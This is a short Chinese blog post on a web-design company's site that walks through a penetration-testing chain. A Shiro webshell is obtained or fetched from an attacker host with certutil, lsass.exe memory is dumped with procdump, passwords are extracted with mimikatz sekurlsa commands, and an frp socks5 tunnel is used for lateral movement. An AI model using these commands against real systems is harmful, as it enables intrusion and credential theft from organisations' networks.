扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
本篇内容介绍了“如何理解渗透测试流程：getshell，内存提取密码，内网渗透”的有关知识，在实际案例的操作过程中，不少人都会遇到这样的困境，接下来就让小编带领大家学习一下如何处理这些情况吧！希望大家仔细阅读，能够学有所成！
成都创新互联公司-专业网站定制、快速模板网站建设、高性价比南皮网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式南皮网站制作公司更省心,省钱,快速模板网站建设找我们，业务覆盖南皮地区。费用合理售后完善，十多年实体公司更值得信赖。
通过shiro框架漏洞拿到webshell——上传相关工具procdump.exe读取内存并导出为dmp文件——使用mimikatz进行密码破解——用frp进行反向代理——使用破解的账户密码登录服务器。
通过shiro工具进行测试：关于shiro和工具参考：https://www.cnblogs.com/xiaozi/p/13239046.html
获取webshell,有些时候如果获取不到可以通过远程下载的办法下载shell:certutil -urlcache -split -f http://vps/evil.txt test.jsp
上传procdump.exe
下载地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
执行命令：procdump64.exe -accepteula -ma lsass.exe
说明：lsass.exe是windows系统的一个重要进程，里面存着（登录过的）系统账户和密码
把dmp文件下载下来，使用mimikatz进行密码破解：
先导入dmp文件，命令：sekurlsa::minidump lass*.dmp
读取账户密码，命令：sekurlsa::logonpasswords
然后搭建frp梯子：
实战还是多用用plugin = socks5,这个参数可以帮你进行全局代理。
用拿到的账号密码登录服务器：
“如何理解渗透测试流程：getshell，内存提取密码，内网渗透”的内容就介绍到这里了，感谢大家的阅读。如果想了解更多行业相关的知识可以关注创新互联网站，小编将为大家输出更多高质量的实用文章！
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
微信二维码
移动版官网